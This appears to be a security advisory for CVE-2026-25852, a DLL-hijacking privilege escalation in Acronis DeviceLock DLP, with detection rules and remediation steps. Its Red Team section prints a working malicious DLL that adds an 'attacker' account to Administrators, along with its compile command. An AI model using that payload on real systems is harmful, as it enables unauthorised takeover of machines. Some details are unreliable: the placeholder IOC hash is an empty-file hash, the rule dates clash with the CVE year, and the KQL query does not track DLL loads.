CVE-2026-25852

Executive Summary

CVE-2026-25852 is a local privilege escalation vulnerability in Acronis DeviceLock DLP for Windows, caused by an insecure DLL loading mechanism (DLL hijacking). An authenticated local attacker can exploit this by placing a malicious DLL in a directory that is searched before the legitimate system path, allowing them to execute arbitrary code with elevated privileges. The vulnerability affects all builds prior to 9.0.93212. The CVSS score is 6.7 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or exploit code is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Windows-native desktop application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Full system modification possible.
• Availability Impact: High (A:H) – Full system disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the impact is high (privilege escalation to SYSTEM). The low EPSS score suggests limited active exploitation, but the vulnerability is unpatched in older builds.

Deep Dive & Mechanics

The vulnerability resides in the DLL loading mechanism of Acronis DeviceLock DLP. The application attempts to load a required DLL without specifying a fully qualified path. Windows follows a specific search order for DLLs, which includes the application's current working directory, the system directory, and the PATH environment variable.

An attacker with local access can place a malicious DLL with the same name as the legitimate one in a directory that is searched before the system directory (e.g., the application's working directory or a user-writable directory). When the application starts or loads the DLL, it loads the attacker's malicious version instead, executing arbitrary code in the context of the application's process. Since DeviceLock DLP often runs with high privileges (SYSTEM), the attacker can escalate from a low-privileged user to SYSTEM.

Root Cause: The application does not use safe DLL search mode or specify absolute paths for DLL loading.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Unsafe DLL loading
HMODULE hModule = LoadLibrary(L"vulnerable.dll");
if (hModule == NULL) {
    // Handle error
}

Patched Code (Conceptual):

// Safe DLL loading with absolute path
std::wstring safePath = L"C:\\Program Files\\Acronis\\DeviceLock\\vulnerable.dll";
HMODULE hModule = LoadLibrary(safePath.c_str());
if (hModule == NULL) {
    // Handle error
}

The patched version uses a fully qualified path to the DLL, preventing the search order hijack.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system running Acronis DeviceLock DLP build < 9.0.93212.
• A standard user account.

Steps:

1. Identify the vulnerable DLL name (e.g., vulnerable.dll) using Process Monitor or dependency walker.
2. Create a malicious DLL that spawns a SYSTEM shell or adds a user to the Administrators group.
3. Place the malicious DLL in a directory that is searched before the system directory (e.g., the application's installation directory or a user-writable directory).
4. Trigger the application to load the DLL (e.g., restart the service or launch the application).

Example Malicious DLL (C++):

#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute command to add user to Administrators
        system("net localgroup Administrators attacker /add");
    }
    return TRUE;
}

Compile:

x86_64-w64-mingw32-g++ -shared -o malicious.dll malicious.cpp

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected DLL loads in the DeviceLock DLP process using Sysmon Event ID 7 (Image loaded).
2. Look for DLLs loaded from non-standard paths (e.g., C:\Users\*\AppData\Local\Temp\).
3. Use AppLocker or Windows Defender Application Control to block untrusted DLLs.
4. Enable Safe DLL Search Mode via registry: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "DeviceLockService.exe"
| where InitiatingProcessFileName != "DeviceLockService.exe"
| project Timestamp, DeviceName, FileName, SHA256

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – replace with actual hashes if discovered)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: DeviceLockService.exe, DeviceLockTray.exe
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\DeviceLock
• Network Connections: (None expected for local exploitation)
• DLL Load Events: DLLs loaded from user-writable paths (e.g., C:\Users\*\AppData\Local\Temp\)

Detection Engineering

YARA Rule

rule CVE_2026_25852_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Acronis DeviceLock DLP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-25852"
    strings:
        $s1 = "DeviceLockService.exe" nocase
        $s2 = "vulnerable.dll" nocase
    condition:
        uint16(0) == 0x5A4D and ( $s1 or $s2 )
}

Sigma Rule

title: CVE-2026-25852 - DLL Hijack in Acronis DeviceLock DLP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from non-standard paths for DeviceLock DLP
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25852
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\DeviceLockService.exe'
        ImageLoaded|contains:
            - '\AppData\Local\Temp\'
            - '\Users\'
    condition: selection
falsepositives:
    - Legitimate DLLs in user directories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-25852 - Potential DLL Hijack via SMB"; flow:to_server,established; content:"|5c 00|DeviceLockService.exe"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Acronis DeviceLock DLP build 9.0.93212 or later.
2. Enable Safe DLL Search Mode on all endpoints:
   • Set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
3. Apply the principle of least privilege to user accounts.

Long-term Measures:

• Implement application whitelisting (e.g., AppLocker) to block unauthorized DLLs.
• Regularly audit DLL load events using Sysmon.
• Use Windows Defender Application Control (WDAC) to enforce code integrity policies.

Workaround (if patching is not possible):

• Remove write permissions from the DeviceLock installation directory for non-admin users.
• Monitor for suspicious DLL loads in the DeviceLock process.

Valters IT

{/* [Security Hash: 051C77E5EB1B3B6C47C3FBD1] */}